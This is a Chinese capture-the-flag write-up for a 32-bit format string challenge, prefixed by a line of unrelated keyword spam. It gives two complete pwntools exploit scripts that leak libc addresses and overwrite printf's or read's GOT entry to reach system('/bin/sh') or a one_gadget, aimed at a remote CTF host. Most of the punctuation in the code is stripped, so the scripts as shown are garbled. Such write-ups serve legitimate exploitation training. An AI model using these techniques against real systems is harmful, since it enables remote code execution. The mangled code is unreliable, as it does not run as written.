专题探索网站开发教学模式的结构,个人网站建设的意义,哪里有学计算机培训班,最近民生新闻100条知识点 解题流程
方法一
查看文件类型#xff1a; 32位文件
查看保护机制 只开启了NX
32位IDA打开 伪码#xff1a; 0x70112 0x64100 发现该题目为典型的格式字符串漏洞。
解题思路
此题的大概思路如下#xff1a; 1、找到libc_start_main在栈内的偏移#xff0c;…知识点 解题流程
方法一
查看文件类型 32位文件
查看保护机制 只开启了NX
32位IDA打开 伪码 0x70112 0x64100 发现该题目为典型的格式字符串漏洞。
解题思路
此题的大概思路如下 1、找到libc_start_main在栈内的偏移使用%p暴露该地址 2、利用LibcSearcher猜测使用的libc算出libc基址 3、计算出此libc的system地址 4、把prinf的got表改为system地址 5、执行system(’/bin/sh’)
具体调试
执行gdb pwn7调试程序 使用b printf在printf处下断点 输入r执行程序 程序提示用户输入 输入123456回车 此时程序运行到printf语句停止
pwndbg调试 输入stack 60命令查看栈情况 可以看到在0xffffcf18处为之前输入的123456 在0xffffcf8c处为libc_start_main247 使用fmtarg 0xffffcf8c算出偏移此处知道了为%35$p 使用fmtarg属于懒人做法需安装在gdb里。
具体方法
exp:
#codingutf-8
from pwn import *
import sys
#不清楚libc可以用这个
from LibcSearcher import *
context.log_leveldebug
context.terminal [gnome-terminal,-x,sh,-c]#本机环境
if sys.argv[1] 0:p process(./pwn7)#此处使用ldd pwn7查看本机使用啥libclibc ELF(/lib/i386-linux-gnu/libc.so.6)
#远程环境
elif sys.argv[1] 1:p remote(114.67.246.176,19888)#直接采用本地的libc尝试失败使用了LibcSearcher#libc ELF(/lib/i386-linux-gnu/libc.so.6)elfELF(./pwn7)
printf_GOTelf.got[printf]
log.success(printf_GOThex(printf_GOT))#输入%35$p暴露libc_start_main的地址
p.sendafter(repeater,%35$p)
p.recvuntil(0x,dropTrue)
libc_start_mainint(p.recv(8),16)-247#搜索可能的libc
libcLibcSearcher(__libc_start_main, libc_start_main)
libc_baselibc_start_main-libc.dump(__libc_start_main) #libc基址
log.success(libc_basehex(libc_base))
printflibc.dump(printf)libc_base #此libc的printf地址
log.success(printfhex(printf))
systemlibc.dump(system)libc_base #此libc的system地址
log.success(systemhex(system))#格式字符串漏洞套路 #由于64位下用户可见的内存地址高位都带有\x00(64位地址共16个16进制数),分段
ch0system0xffff
ch1(((system16)0xffff)-ch0)0xffff
payload%str(ch0)c%16$hn
payload%str(ch1)c%17$hn
payloadpayload.ljust(40,a)#改写printf的got表,把prinf的got表改为system地址
payloadp32(printf_GOT)
payloadp32(printf_GOT2)
p.send(payload)
p.recvline()
#这时已经改写好了直接system(/bin/sh)
p.send(/bin/sh\x00)
p.interactive()方法二需要加载libc版本
由于方法二我不知道大佬加载的libc版本是哪一个所以没有成功实现
gdb里调试到printf(buf) 如图 我通过read输入的是flag 容易看出偏移是 0x18/4 6 (64位里偏移是6 offset_rsp/8 32位里偏移则为offset_esp/4 或者直接经典payload测 AAAA%p.%p.%p.%p.%p.%p.%p.%p. 然后数数 测出偏移后 第一步 : 先通过printf(buf) 泄露libc payload p32(read_got) b%6$s
我这个是泄露的read的地址 泄露地址后通过 https://libc.blukat.me/下载相应版本的libc.so(当然也可以用LibcSearcher然后改写got表为system的再输入bin/sh字符串这里为one_gadget的打法)
第二步 改写read的got表为one_gadget的地址
完整exp如下
from pwn import*
from LibcSearcher import LibcSearcher
context.log_level debug
elf ELF(./pwn)
libc ELF(./libc.so)
io remote(114.67.246.176,19888)
read_got elf.got[read]
pd b%6$s p32(read_got)
io.recvuntil(Do you know repeater?\n)
io.send(pd)
read_addr u32(io.recv(8)[-4:]) #取后四位字节
print(hex(read_addr))
libc_base read_addr - libc.sym[read] #libc.sym[read]会返回read()在libc里面的偏移
og [0x3a822,0x3a829,0x5f075,0x5f076]
one_gadget libc_base og[3]
payload fmtstr_payload(6,{read_got : one_gadget},write_size byte,)
io.send(payload)
io.interactive()运行脚本 得到flag{ec228e717282513a}
io.recv(8)[-4:]取后四位字节
可能有小伙伴对于最后的fmtstr_payload有点疑惑 fmtstr_payload 是pwntools里面的一个小工具 简化格式化字符串payload的构造 fmtstr_payload(offset, writes, numbwritten0, write_size‘byte’) 第一个参数表示格式化字符串的偏移 第二个参数表示需要利用%n写入的数据采用字典形式我们要将printf的GOT数据改为system函数地址就写成{printfGOT: systemAddress}本题是将0804a048处改为0x2223322 第三个参数表示已经输出的字符个数这里没有为0采用默认值即可 第四个参数表示写入方式是按字节byte、按双字节short还是按四字节int对应着hhn、hn和n默认值是byte即按hhn写。 fmtstr_payload函数返回的就是payload fmstr_payload 的官方文档 https://docs.pwntools.com/en/stable/fmtstr.html